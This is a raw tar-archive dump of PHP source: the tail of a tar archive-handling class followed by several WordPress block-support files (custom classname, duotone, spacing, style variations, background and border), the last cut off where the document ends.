                    $filename .= substr($content, 0, $laspiece);
                }
                $binaryData = $this->readBlock();
                if (!$this->readHeader($binaryData, $header)) {
                    return false;
                } else {
                    $header['filename'] = $filename;
                }
                return true;
            }
            if ($path != './' && $path != '/') {
                while (substr($path, -1) == '/') {
                    $path = substr($path, 0, strlen($path) - 1);
                }
                if (substr($header['filename'], 0, 1) == '/') {
                    $header['filename'] = $path . $header['filename'];
                } else {
                    $header['filename'] = $path . '/' . $header['filename'];
                }
            }
            if (file_exists($header['filename'])) {
                if (@is_dir($header['filename']) && $header['typeflag'] == '') {
                    $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder');
                    return false;
                }
                if (is_file($header['filename']) && $header['typeflag'] == '5') {
                    $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists');
                    return false;
                }
                if (!is_writeable($header['filename'])) {
                    $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists');
                    return false;
                }
            } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) {
                $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename'];
                return false;
            }
            if ($header['typeflag'] == '5') {
                if (!file_exists($header['filename'])) {
                    if (!mkdir($header['filename'], 0777)) {
                        $this->errors[] = __('Cannot create directory') . ' ' . $header['filename'];
                        return false;
                    }
                }
            } else {
                if (($destination = fopen($header['filename'], 'wb')) == 0) {
                    $this->errors[] = __('Cannot write to file') . ' ' . $header['filename'];
                    return false;
                } else {
                    $decr = floor($header['size'] / 512);
                    for ($i = 0; $i < $decr; $i++) {
                        $content = $this->readBlock();
                        fwrite($destination, $content, 512);
                    }
                    if ($header['size'] % 512 != 0) {
                        $content = $this->readBlock();
                        fwrite($destination, $content, $header['size'] % 512);
                    }
                    fclose($destination);
                    touch($header['filename'], $header['time']);
                }
                clearstatcache();
                if (filesize($header['filename']) != $header['size']) {
                    $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect');
                    return false;
                }
            }
            if (($file_dir = dirname($header['filename'])) == $header['filename']) {
                $file_dir = '';
            }
            if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') {
                $file_dir = '/';
            }
            $this->dirs[] = $file_dir;
            $this->files[] = $header['filename'];
        }
        return true;
    }
    function dirCheck($dir)
    {
        $parent_dir = dirname($dir);
        if (@is_dir($dir) or $dir == '') {
            return true;
        }
        if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) {
            return false;
        }
        if (!mkdir($dir, 0777)) {
            $this->errors[] = __('Cannot create directory') . ' ' . $dir;
            return false;
        }
        return true;
    }
    function readHeader($binaryData, &$header)
    {
        if (strlen($binaryData) == 0) {
            $header['filename'] = '';
            return true;
        }
        if (strlen($binaryData) != 512) {
            $header['filename'] = '';
            $this->__('Invalid block size') . ': ' . strlen($binaryData);
            return false;
        }
        $checksum = 0;
        for ($i = 0; $i < 148; $i++) {
            $checksum += ord(substr($binaryData, $i, 1));
        }
        for ($i = 148; $i < 156; $i++) {
            $checksum += ord(' ');
        }
        for ($i = 156; $i < 512; $i++) {
            $checksum += ord(substr($binaryData, $i, 1));
        }
        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
        $header['checksum'] = OctDec(trim($unpack_data['checksum']));
        if ($header['checksum'] != $checksum) {
            $header['filename'] = '';
            if ($checksum == 256 && $header['checksum'] == 0) {
                return true;
            }
            $this->errors[] = __('Error checksum for file ') . $unpack_data['filename'];
            return false;
        }
        if (($header['typeflag'] = $unpack_data['typeflag']) == '5') {
            $header['size'] = 0;
        }
        $header['filename'] = trim($unpack_data['filename']);
        $header['mode'] = OctDec(trim($unpack_data['mode']));
        $header['user_id'] = OctDec(trim($unpack_data['user_id']));
        $header['group_id'] = OctDec(trim($unpack_data['group_id']));
        $header['size'] = OctDec(trim($unpack_data['size']));
        $header['time'] = OctDec(trim($unpack_data['time']));
        return true;
    }
    function writeHeader($filename, $keep_filename)
    {
        $packF = 'a100a8a8a8a12A12';
        $packL = 'a1a100a6a2a32a32a8a8a155a12';
        if (strlen($keep_filename) <= 0) {
            $keep_filename = $filename;
        }
        $filename_ready = $this->makeGoodPath($keep_filename);
        if (strlen($filename_ready) > 99) {
            //write long header
            $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
            $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
            //  Calculate the checksum
            $checksum = 0;
            //  First part of the header
            for ($i = 0; $i < 148; $i++) {
                $checksum += ord(substr($dataFirst, $i, 1));
            }
            //  Ignore the checksum value and replace it by ' ' (space)
            for ($i = 148; $i < 156; $i++) {
                $checksum += ord(' ');
            }
            //  Last part of the header
            for ($i = 156, $j = 0; $i < 512; $i++, $j++) {
                $checksum += ord(substr($dataLast, $j, 1));
            }
            //  Write the first 148 bytes of the header in the archive
            $this->writeBlock($dataFirst, 148);
            //  Write the calculated checksum
            $checksum = sprintf('%6s ', DecOct($checksum));
            $binaryData = pack('a8', $checksum);
            $this->writeBlock($binaryData, 8);
            //  Write the last 356 bytes of the header in the archive
            $this->writeBlock($dataLast, 356);
            $tmp_filename = $this->makeGoodPath($filename_ready);
            $i = 0;
            while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') {
                $binaryData = pack('a512', $buffer);
                $this->writeBlock($binaryData);
            }
            return true;
        }
        $file_info = stat($filename);
        if (@is_dir($filename)) {
            $typeflag = '5';
            $size = sprintf('%11s ', DecOct(0));
        } else {
            $typeflag = '';
            clearstatcache();
            $size = sprintf('%11s ', DecOct(filesize($filename)));
        }
        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
        $checksum = 0;
        for ($i = 0; $i < 148; $i++) {
            $checksum += ord(substr($dataFirst, $i, 1));
        }
        for ($i = 148; $i < 156; $i++) {
            $checksum += ord(' ');
        }
        for ($i = 156, $j = 0; $i < 512; $i++, $j++) {
            $checksum += ord(substr($dataLast, $j, 1));
        }
        $this->writeBlock($dataFirst, 148);
        $checksum = sprintf('%6s ', DecOct($checksum));
        $binaryData = pack('a8', $checksum);
        $this->writeBlock($binaryData, 8);
        $this->writeBlock($dataLast, 356);
        return true;
    }
    function openWrite()
    {
        if ($this->isGzipped) {
            $this->tmp_file = gzopen($this->archive_name, 'wb9f');
        } else {
            $this->tmp_file = fopen($this->archive_name, 'wb');
        }
        if (!$this->tmp_file) {
            $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name;
            return false;
        }
        return true;
    }
    function readBlock()
    {
        if (is_resource($this->tmp_file)) {
            if ($this->isGzipped) {
                $block = gzread($this->tmp_file, 512);
            } else {
                $block = fread($this->tmp_file, 512);
            }
        } else {
            $block = '';
        }
        return $block;
    }
    function writeBlock($data, $length = 0)
    {
        if (is_resource($this->tmp_file)) {
            if ($length === 0) {
                if ($this->isGzipped) {
                    gzputs($this->tmp_file, $data);
                } else {
                    fputs($this->tmp_file, $data);
                }
            } else {
                if ($this->isGzipped) {
                    gzputs($this->tmp_file, $data, $length);
                } else {
                    fputs($this->tmp_file, $data, $length);
                }
            }
        }
    }
    function closeTmpFile()
    {
        if (is_resource($this->tmp_file)) {
            if ($this->isGzipped) {
                gzclose($this->tmp_file);
            } else {
                fclose($this->tmp_file);
            }
            $this->tmp_file = 0;
        }
    }
    function makeGoodPath($path)
    {
        if (strlen($path) > 0) {
            $path = str_replace('\\', '/', $path);
            $partPath = explode('/', $path);
            $els = count($partPath) - 1;
            for ($i = $els; $i >= 0; $i--) {
                if ($partPath[$i] == '.') {
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..') {
                    $i--;
                } elseif ($partPath[$i] == '' and $i != $els and $i != 0) {
                } else {
                    $result = $partPath[$i] . ($i != $els ? '/' . $result : '');
                }
            }
        } else {
            $result = '';
        }
        return $result;
    }
}custom-classname.php000064400000003213151443230030010525 0ustar00<?php
/**
 * Custom classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the custom classname block attribute for block types that support it.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_custom_classname_support( $block_type ) {
	$has_custom_classname_support = block_has_support( $block_type, 'customClassName', true );

	if ( $has_custom_classname_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'className', $block_type->attributes ) ) {
			$block_type->attributes['className'] = array(
				'type' => 'string',
			);
		}
	}
}

/**
 * Adds the custom classnames to the output.
 *
 * @since 5.6.0
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block Type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_custom_classname_support( $block_type, $block_attributes ) {
	$has_custom_classname_support = block_has_support( $block_type, 'customClassName', true );
	$attributes                   = array();
	if ( $has_custom_classname_support ) {
		$has_custom_classnames = array_key_exists( 'className', $block_attributes );

		if ( $has_custom_classnames ) {
			$attributes['class'] = $block_attributes['className'];
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'custom-classname',
	array(
		'register_attribute' => 'wp_register_custom_classname_support',
		'apply'              => 'wp_apply_custom_classname_support',
	)
);
duotone.php000064400000005253151443230030006732 0ustar00<?php
/**
 * Duotone block support flag.
 *
 * Parts of this source were derived and modified from TinyColor,
 * released under the MIT license.
 *
 * https://github.com/bgrins/TinyColor
 *
 * Copyright (c), Brian Grinstead, http://briangrinstead.com
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @package WordPress
 * @since 5.8.0
 */

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'duotone',
	array(
		'register_attribute' => array( 'WP_Duotone', 'register_duotone_support' ),
	)
);

// Add classnames to blocks using duotone support.
add_filter( 'render_block', array( 'WP_Duotone', 'render_duotone_support' ), 10, 3 );
add_filter( 'render_block_core/image', array( 'WP_Duotone', 'restore_image_outer_container' ), 10, 1 );

// Enqueue styles.
// Block styles (core-block-supports-inline-css) before the style engine (wp_enqueue_stored_styles).
// Global styles (global-styles-inline-css) after the other global styles (wp_enqueue_global_styles).
add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_block_styles' ), 9 );
add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_global_styles' ), 11 );

// Add SVG filters to the footer. Also, for classic themes, output block styles (core-block-supports-inline-css).
add_action( 'wp_footer', array( 'WP_Duotone', 'output_footer_assets' ), 10 );

// Add styles and SVGs for use in the editor via the EditorStyles component.
add_filter( 'block_editor_settings_all', array( 'WP_Duotone', 'add_editor_settings' ), 10 );

// Migrate the old experimental duotone support flag.
add_filter( 'block_type_metadata_settings', array( 'WP_Duotone', 'migrate_experimental_duotone_support_flag' ), 10, 2 );
spacing.php000064400000005474151443230030006706 0ustar00<?php
/**
 * Spacing block support flag.
 *
 * For backwards compatibility, this remains separate to the dimensions.php
 * block support despite both belonging under a single panel in the editor.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_spacing_support( $block_type ) {
	$has_spacing_support = block_has_support( $block_type, 'spacing', false );

	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block spacing to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block spacing CSS classes and inline styles.
 */
function wp_apply_spacing_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) {
		return array();
	}

	$attributes          = array();
	$has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false );
	$has_margin_support  = block_has_support( $block_type, array( 'spacing', 'margin' ), false );
	$block_styles        = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
		return $attributes;
	}

	$skip_padding         = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' );
	$skip_margin          = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' );
	$spacing_block_styles = array(
		'padding' => null,
		'margin'  => null,
	);
	if ( $has_padding_support && ! $skip_padding ) {
		$spacing_block_styles['padding'] = isset( $block_styles['spacing']['padding'] ) ? $block_styles['spacing']['padding'] : null;
	}
	if ( $has_margin_support && ! $skip_margin ) {
		$spacing_block_styles['margin'] = isset( $block_styles['spacing']['margin'] ) ? $block_styles['spacing']['margin'] : null;
	}
	$styles = wp_style_engine_get_styles( array( 'spacing' => $spacing_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'spacing',
	array(
		'register_attribute' => 'wp_register_spacing_support',
		'apply'              => 'wp_apply_spacing_support',
	)
);
block-style-variations.php000064400000022312151443230030011655 0ustar00<?php
/**
 * Block support to enable per-section styling of block types via
 * block style variations.
 *
 * @package WordPress
 * @since 6.6.0
 */

/**
 * Determines the block style variation names within a CSS class string.
 *
 * @since 6.6.0
 *
 * @param string $class_string CSS class string to look for a variation in.
 *
 * @return array|null The block style variation name if found.
 */
function wp_get_block_style_variation_name_from_class( $class_string ) {
	if ( ! is_string( $class_string ) ) {
		return null;
	}

	preg_match_all( '/\bis-style-(?!default)(\S+)\b/', $class_string, $matches );
	return $matches[1] ?? null;
}

/**
 * Recursively resolves any `ref` values within a block style variation's data.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $variation_data Reference to the variation data being processed.
 * @param array $theme_json     Theme.json data to retrieve referenced values from.
 */
function wp_resolve_block_style_variation_ref_values( &$variation_data, $theme_json ) {
	foreach ( $variation_data as $key => &$value ) {
		// Only need to potentially process arrays.
		if ( is_array( $value ) ) {
			// If ref value is set, attempt to find its matching value and update it.
			if ( array_key_exists( 'ref', $value ) ) {
				// Clean up any invalid ref value.
				if ( empty( $value['ref'] ) || ! is_string( $value['ref'] ) ) {
					unset( $variation_data[ $key ] );
				}

				$value_path = explode( '.', $value['ref'] ?? '' );
				$ref_value  = _wp_array_get( $theme_json, $value_path );

				// Only update the current value if the referenced path matched a value.
				if ( null === $ref_value ) {
					unset( $variation_data[ $key ] );
				} else {
					$value = $ref_value;
				}
			} else {
				// Recursively look for ref instances.
				wp_resolve_block_style_variation_ref_values( $value, $theme_json );
			}
		}
	}
}
/**
 * Renders the block style variation's styles.
 *
 * In the case of nested blocks with variations applied, we want the parent
 * variation's styles to be rendered before their descendants. This solves the
 * issue of a block type being styled in both the parent and descendant: we want
 * the descendant style to take priority, and this is done by loading it after,
 * in the DOM order. This is why the variation stylesheet generation is in a
 * different filter.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $parsed_block The parsed block.
 *
 * @return array The parsed block with block style variation classname added.
 */
function wp_render_block_style_variation_support_styles( $parsed_block ) {
	$classes    = $parsed_block['attrs']['className'] ?? null;
	$variations = wp_get_block_style_variation_name_from_class( $classes );

	if ( ! $variations ) {
		return $parsed_block;
	}

	$tree       = WP_Theme_JSON_Resolver::get_merged_data();
	$theme_json = $tree->get_raw_data();

	// Only the first block style variation with data is supported.
	$variation_data = array();
	foreach ( $variations as $variation ) {
		$variation_data = $theme_json['styles']['blocks'][ $parsed_block['blockName'] ]['variations'][ $variation ] ?? array();

		if ( ! empty( $variation_data ) ) {
			break;
		}
	}

	if ( empty( $variation_data ) ) {
		return $parsed_block;
	}

	/*
	 * Recursively resolve any ref values with the appropriate value within the
	 * theme_json data.
	 */
	wp_resolve_block_style_variation_ref_values( $variation_data, $theme_json );

	$variation_instance = wp_unique_id( $variation . '--' );
	$class_name         = "is-style-$variation_instance";
	$updated_class_name = $parsed_block['attrs']['className'] . " $class_name";

	/*
	 * Even though block style variations are effectively theme.json partials,
	 * they can't be processed completely as though they are.
	 *
	 * Block styles support custom selectors to direct specific types of styles
	 * to inner elements. For example, borders on Image block's get applied to
	 * the inner `img` element rather than the wrapping `figure`.
	 *
	 * The following relocates the "root" block style variation styles to
	 * under an appropriate blocks property to leverage the preexisting style
	 * generation for simple block style variations. This way they get the
	 * custom selectors they need.
	 *
	 * The inner elements and block styles for the variation itself are
	 * still included at the top level but scoped by the variation's selector
	 * when the stylesheet is generated.
	 */
	$elements_data = $variation_data['elements'] ?? array();
	$blocks_data   = $variation_data['blocks'] ?? array();
	unset( $variation_data['elements'] );
	unset( $variation_data['blocks'] );

	_wp_array_set(
		$blocks_data,
		array( $parsed_block['blockName'], 'variations', $variation_instance ),
		$variation_data
	);

	$config = array(
		'version' => WP_Theme_JSON::LATEST_SCHEMA,
		'styles'  => array(
			'elements' => $elements_data,
			'blocks'   => $blocks_data,
		),
	);

	// Turn off filter that excludes block nodes. They are needed here for the variation's inner block types.
	if ( ! is_admin() ) {
		remove_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
	}

	// Temporarily prevent variation instance from being sanitized while processing theme.json.
	$styles_registry = WP_Block_Styles_Registry::get_instance();
	$styles_registry->register( $parsed_block['blockName'], array( 'name' => $variation_instance ) );

	$variation_theme_json = new WP_Theme_JSON( $config, 'blocks' );
	$variation_styles     = $variation_theme_json->get_stylesheet(
		array( 'styles' ),
		array( 'custom' ),
		array(
			'include_block_style_variations' => true,
			'skip_root_layout_styles'        => true,
			'scope'                          => ".$class_name",
		)
	);

	// Clean up temporary block style now instance styles have been processed.
	$styles_registry->unregister( $parsed_block['blockName'], $variation_instance );

	// Restore filter that excludes block nodes.
	if ( ! is_admin() ) {
		add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
	}

	if ( empty( $variation_styles ) ) {
		return $parsed_block;
	}

	wp_register_style( 'block-style-variation-styles', false, array( 'wp-block-library', 'global-styles' ) );
	wp_add_inline_style( 'block-style-variation-styles', $variation_styles );

	/*
	 * Add variation instance class name to block's className string so it can
	 * be enforced in the block markup via render_block filter.
	 */
	_wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name );

	return $parsed_block;
}

/**
 * Ensures the variation block support class name generated and added to
 * block attributes in the `render_block_data` filter gets applied to the
 * block's markup.
 *
 * @since 6.6.0
 * @access private
 *
 * @see wp_render_block_style_variation_support_styles
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 *
 * @return string                Filtered block content.
 */
function wp_render_block_style_variation_class_name( $block_content, $block ) {
	if ( ! $block_content || empty( $block['attrs']['className'] ) ) {
		return $block_content;
	}

	/*
	 * Matches a class prefixed by `is-style`, followed by the
	 * variation slug, then `--`, and finally an instance number.
	 */
	preg_match( '/\bis-style-(\S+?--\d+)\b/', $block['attrs']['className'], $matches );

	if ( empty( $matches ) ) {
		return $block_content;
	}

	$tags = new WP_HTML_Tag_Processor( $block_content );

	if ( $tags->next_tag() ) {
		/*
		 * Ensure the variation instance class name set in the
		 * `render_block_data` filter is applied in markup.
		 * See `wp_render_block_style_variation_support_styles`.
		 */
		$tags->add_class( $matches[0] );
	}

	return $tags->get_updated_html();
}

/**
 * Enqueues styles for block style variations.
 *
 * @since 6.6.0
 * @access private
 */
function wp_enqueue_block_style_variation_styles() {
	wp_enqueue_style( 'block-style-variation-styles' );
}

// Register the block support.
WP_Block_Supports::get_instance()->register( 'block-style-variation', array() );

add_filter( 'render_block_data', 'wp_render_block_style_variation_support_styles', 10, 2 );
add_filter( 'render_block', 'wp_render_block_style_variation_class_name', 10, 2 );
add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_style_variation_styles', 1 );

/**
 * Registers block style variations read in from theme.json partials.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $variations Shared block style variations.
 */
function wp_register_block_style_variations_from_theme_json_partials( $variations ) {
	if ( empty( $variations ) ) {
		return;
	}

	$registry = WP_Block_Styles_Registry::get_instance();

	foreach ( $variations as $variation ) {
		if ( empty( $variation['blockTypes'] ) || empty( $variation['styles'] ) ) {
			continue;
		}

		$variation_name  = $variation['slug'] ?? _wp_to_kebab_case( $variation['title'] );
		$variation_label = $variation['title'] ?? $variation_name;

		foreach ( $variation['blockTypes'] as $block_type ) {
			$registered_styles = $registry->get_registered_styles_for_block( $block_type );

			// Register block style variation if it hasn't already been registered.
			if ( ! array_key_exists( $variation_name, $registered_styles ) ) {
				register_block_style(
					$block_type,
					array(
						'name'  => $variation_name,
						'label' => $variation_label,
					)
				);
			}
		}
	}
}
background.php000064400000010061151443230030007365 0ustar00<?php
/**
 * Background block support flag.
 *
 * @package WordPress
 * @since 6.4.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.4.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_background_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_background_support = block_has_support( $block_type, array( 'background' ), false );

	if ( $has_background_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders the background styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.4.0
 * @since 6.5.0 Added support for `backgroundPosition` and `backgroundRepeat` output.
 * @since 6.6.0 Removed requirement for `backgroundImage.source`. A file/url is the default.
 * @since 6.7.0 Added support for `backgroundAttachment` output.
 *
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_background_support( $block_content, $block ) {
	$block_type                   = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes             = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_background_image_support = block_has_support( $block_type, array( 'background', 'backgroundImage' ), false );

	if (
		! $has_background_image_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'background', 'backgroundImage' ) ||
		! isset( $block_attributes['style']['background'] )
	) {
		return $block_content;
	}

	$background_styles                         = array();
	$background_styles['backgroundImage']      = $block_attributes['style']['background']['backgroundImage'] ?? null;
	$background_styles['backgroundSize']       = $block_attributes['style']['background']['backgroundSize'] ?? null;
	$background_styles['backgroundPosition']   = $block_attributes['style']['background']['backgroundPosition'] ?? null;
	$background_styles['backgroundRepeat']     = $block_attributes['style']['background']['backgroundRepeat'] ?? null;
	$background_styles['backgroundAttachment'] = $block_attributes['style']['background']['backgroundAttachment'] ?? null;

	if ( ! empty( $background_styles['backgroundImage'] ) ) {
		$background_styles['backgroundSize'] = $background_styles['backgroundSize'] ?? 'cover';

		// If the background size is set to `contain` and no position is set, set the position to `center`.
		if ( 'contain' === $background_styles['backgroundSize'] && ! $background_styles['backgroundPosition'] ) {
			$background_styles['backgroundPosition'] = '50% 50%';
		}
	}

	$styles = wp_style_engine_get_styles( array( 'background' => $background_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject background styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			if ( is_string( $existing_style ) && '' !== $existing_style ) {
				$separator     = str_ends_with( $existing_style, ';' ) ? '' : ';';
				$updated_style = "{$existing_style}{$separator}{$styles['css']}";
			} else {
				$updated_style = $styles['css'];
			}

			$tags->set_attribute( 'style', $updated_style );
			$tags->add_class( 'has-background' );
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'background',
	array(
		'register_attribute' => 'wp_register_background_support',
	)
);

add_filter( 'render_block', 'wp_render_background_support', 10, 2 );
border.php000064400000014426151443230030006534 0ustar00<?php
/**
 * Border block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style attribute used by the border feature if needed for block
 * types that support borders.
 *
 * @since 5.8.0
 * @since 6.1.0 Improved conditional blocks optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_border_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( block_has_support( $block_type, '__experimentalBorder' ) && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( wp_has_border_feature_support( $block_type, 'color' ) && ! array_key_exists( 'borderColor', $block_type->attributes ) ) {
		$block_type->attributes['borderColor'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Adds CSS classes and inline styles for border styles to the incoming
 * attributes array. This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block type.
 * @param array         $block_attributes Block attributes.
 * @return array Border CSS classes and inline styles.
 */
function wp_apply_border_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) {
		return array();
	}

	$border_block_styles      = array();
	$has_border_color_support = wp_has_border_feature_support( $block_type, 'color' );
	$has_border_width_support = wp_has_border_feature_support( $block_type, 'width' );

	// Border radius.
	if (
		wp_has_border_feature_support( $block_type, 'radius' ) &&
		isset( $block_attributes['style']['border']['radius'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' )
	) {
		$border_radius = $block_attributes['style']['border']['radius'];

		if ( is_numeric( $border_radius ) ) {
			$border_radius .= 'px';
		}

		$border_block_styles['radius'] = $border_radius;
	}

	// Border style.
	if (
		wp_has_border_feature_support( $block_type, 'style' ) &&
		isset( $block_attributes['style']['border']['style'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' )
	) {
		$border_block_styles['style'] = $block_attributes['style']['border']['style'];
	}

	// Border width.
	if (
		$has_border_width_support &&
		isset( $block_attributes['style']['border']['width'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' )
	) {
		$border_width = $block_attributes['style']['border']['width'];

		// This check handles original unitless implementation.
		if ( is_numeric( $border_width ) ) {
			$border_width .= 'px';
		}

		$border_block_styles['width'] = $border_width;
	}

	// Border color.
	if (
		$has_border_color_support &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' )
	) {
		$preset_border_color          = array_key_exists( 'borderColor', $block_attributes ) ? "var:preset|color|{$block_attributes['borderColor']}" : null;
		$custom_border_color          = isset( $block_attributes['style']['border']['color'] ) ? $block_attributes['style']['border']['color'] : null;
		$border_block_styles['color'] = $preset_border_color ? $preset_border_color : $custom_border_color;
	}

	// Generates styles for individual border sides.
	if ( $has_border_color_support || $has_border_width_support ) {
		foreach ( array( 'top', 'right', 'bottom', 'left' ) as $side ) {
			$border                       = isset( $block_attributes['style']['border'][ $side ] ) ? $block_attributes['style']['border'][ $side ] : null;
			$border_side_values           = array(
				'width' => isset( $border['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ? $border['width'] : null,
				'color' => isset( $border['color'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ? $border['color'] : null,
				'style' => isset( $border['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ? $border['style'] : null,
			);
			$border_block_styles[ $side ] = $border_side_values;
		}
	}

	// Collect classes and styles.
	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'border' => $border_block_styles ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Checks whether the current block type supports the border feature requested.
 *
 * If the `__experimentalBorder` support flag is a boolean `true` all border
 * support features are available. Otherwise, the specific feature's support
 * flag nested under `experimentalBorder` must be enabled for the feature
 * to be opted into.
 *
